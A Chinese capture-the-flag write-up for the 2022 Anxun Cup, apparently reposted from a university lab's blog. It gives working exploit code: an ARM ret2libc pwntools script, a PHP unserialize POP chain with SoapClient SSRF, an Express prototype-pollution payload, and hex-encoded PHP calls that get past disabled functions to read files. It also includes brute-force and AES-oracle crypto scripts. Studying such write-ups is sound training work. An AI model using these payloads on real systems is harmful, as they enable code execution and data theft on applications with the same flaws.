2022安洵杯 · Writeup
自2018年起,安洵信息技术有限公司联合政企、公安、高校等多方力量,举办“安洵杯”系列赛事。通过为不同细分人群定制赛事的形式,满足多元化的赛事需求,带动更多人员参与到赛事中来。其中,校园赛吸引了来自全国20000多名大学生参赛,为网络安全行业发掘了不少新生力量。
为积极响应国家网络空间安全人才战略,加快创新性人才培养步伐,提升学生攻防兼备的网络创新,培养并提升学生的团队合作精神与能力,提高学生的网络安全创新能力与实践技能。四川安洵信息技术有限公司携手成都信息工程大学道格安全研究实验室举办了面向全国高校的第五届"安洵杯"网络安全挑战赛。
PWN
babyarm
首先就是绕过一个简单的变表base64的加密key
然后就是一个类似ret2libc的利用方式,不过没有直接控制r0的gadget
使用的是arm32中万能的gadget
from pwn import *
#p = process(["qemu-arm","-g", "1212","-L", "/usr/arm-linux-gnueabi/", "./chall"])
#p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi/','./chall'])
p = remote('47.108.29.107',10244)
context.log_level='debug'
context.arch='arm'
elf = ELF('./chall')
libc = ELF('./libc-2.27.so')
#context.terminal = ['gnome-terminal','-x','sh','-c']
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
sla('msg> ','s1mpl3Dec0d4r')
r4 = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leak('puts',puts_plt)
pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(puts_plt)+p32(movcall)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x0010B60)
pause()
p.sendlineafter('comment> ',pl)
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
sla('msg> ','s1mpl3Dec0d4r')
pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(system)+p32(movcall)
p.sendlineafter('comment> ',pl)
p.interactive()
{: id="20221127195858-c3goidh" updated="20221127195900"}
WEB
babyphp
<?php
//something in flag.php
class A
{
public $a;
public $b;
public function __construct()
{
$this->a="0e1137126905";
}
public function __wakeup()
{
$this->a = "babyhacker";
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a;
public $c;
public function __construct(){
$this->a="phpinfo";
}
/*
public function __toString()
{
$cc = $this->c;
return $cc();
}
*/
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
$pop=new B();
$pop->a=new C();
$pop->a->c=new A();
$pop->a->c->b=new C();
echo serialize($pop);
同时在 flag.php中 需要使用ssrf 尝试在call_user_func处 使用soapclient 进行 ssrf
<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "sp4c1ousrnCookie:PHPSESSID=flag123rn",
'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);
然后结合session反序列化 可以打出
ez_js
查看源码 可用 MD5爆破将secret爆破出 为abcdefg
from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
d = ''.join(i).encode()
g = d+n
m=md5(g).hexdigest()
if m == x:
print(d)
break
可得admin的cookie ed63246fb602056fee4a7ec886d0a3c2
将其填入hash 可跳转得到源码
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
router.get('/', function(req, res, next) {
if(req.flag=="flag"){
//输出flag;
res.send('flag?????????????');
}
res.render('info');
});
router.post('/', express.json(),function(req, res) {
var str = req.body.id;
var obj = JSON.parse(str);
req.cookies.id=clone(obj);
res.render('info');
});
module.exports = router;
merge的原型链污染 直接打
id={"aaa":1,"__proto__":{"flag":"flag"}}
可得flag
ezupload
先上传一个phpinfo查看细节:
发现 disable_functions 被过滤了很多,尝试绕过。
和mysql里写shell一样,16进制,8进制,Unicode编码都可以,这里选择的是hex编码:
<?php echo "x66x69x6cx65x5fx67x65x74x5fx63x6fx6ex74x65x6ex74x73"("index.php");?>
额虽然没读取到,但是说明命令执行成功了
然后就是利用glob://
尝试获取根目录flag位置:
PHP使用DirectoryIterator遍历指定目录下的所有文件-PHP基础-自如初个人博客 (ziruchu.com)
<?php new DirectoryIterator("glob:///fl*");?>
转一个16进制,然后获取这个文件就行
file_get_contents("/fl1111111111ag")
MISC
GumpKing
直接CE改分就行
little_thief
流量包提取压缩包文件:
在流量记录里可以找到POST提交的流量,里面有jwt,解密:
得到密码,解压后得到flag.html
打开后里面是在线编辑器生成的,怀疑有隐写,wbStego4.3open.exe打开,不知道密码,尝试无密码获取
CRYPTO
Cry1
import string
import hashlib
a="JmxeKr3R4zh6CXZc"
encode1="3ed373143ba9844885a3fff7afd3f7eec9982bd9be51c642314855cc015da3da"
str=string.ascii_letters+string.digits
for i1 in str:
for i2 in str:
for i3 in str:
for i4 in str:
plain=i1+i2+i3+i4+a
encode=hashlib.sha256(plain.encode()).hexdigest()
if encode==encode1:
print(i1+i2+i3+i4)
#Tg4N
猜了无数次,服了
Cry2
上来还是常规的加盐爆破,不说了
先用本地,弄清了一下原理
就是用flag2作为key,加密了flag1+imessage+flag2
nc之后随便敲个空格就能拿到flag1+flag2的密文,关键是key
没啥好办法,只能一位一位爆破了
from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import itertools
from tqdm import tqdm
import hashlib
from tqdm import tqdm
from Crypto.Cipher import AES
table = string.ascii_letters + string.digits
# context(log_level = 'debug')
ip = '120.78.131.38'
port = 10086
r = remote(ip,port)
def proof():
r.recvuntil(b'SHA256(XXXX')
a = r.recvline()[:-1].decode()
tmp = a[a.find(' + ') + 3:a.find(')')]
aim = a[a.find(':') + 1:]
for i in itertools.product(table,repeat=4):
ans = ''.join(i)
if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
print(ans)
r.recvuntil(b'Give Me XXXX:n')
r.sendline(ans.encode())
return
proof()
flag2 = ''
for i in tqdm(range(1,16)):
for t in table:
tmp = '0' * 8 + '0' * (16 - i) + flag2 + t + '0' * (16 - i)
# print(payload)
r.recvuntil(b'You can input anything:n')
r.send(tmp.encode())
r.recvuntil(b"Here is your cipher: b'")
cipher = r.recvuntil(b"'")[:-1]
# print(cipher)
p = [cipher[i : i + 32] for i in range(0,len(cipher),32)]
if p[1] == p[2]:
flag2 += t
print(fleg)
break
flag2 += '}'
key = flag2.encode()
print(key)
r.interactive()
最后一个AES解密解决战斗
table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def pad( message):
if len(message) % 16 != 0:
return message.ljust((len(message) // 16 + 1) * 16, '0').encode()
else:
return message.encode()
def encrypt( key, message):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(message)
def decrypt( key, message):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)
from Crypto.Cipher import AES
from Crypto.Util.number import *
c=0x68e05ae1ed73ec29526b7f4ec7e025cfa162a7f20d8401a05a45c67fd6dbc180
c=long_to_bytes(c)
def decrypt(key, message):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)
key='IDl8FuWPu01RHZt}'
print(decrypt(key.encode(),c))
#b'D0g3{o7sIDl8FuWPu01RHZt}00000000'
REVERSE
reee
32位,打开题目跟进函数找到加密逻辑,发现没有编译成函数
编译成函数后,简单分析发现是RC4,密文和key已知,在线网站解密即可
d0g3{This_15_FindWind0w}
原文始发于微信公众号(山警网络空间安全实验室):2022年安洵杯 Writeup by SanDieg0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论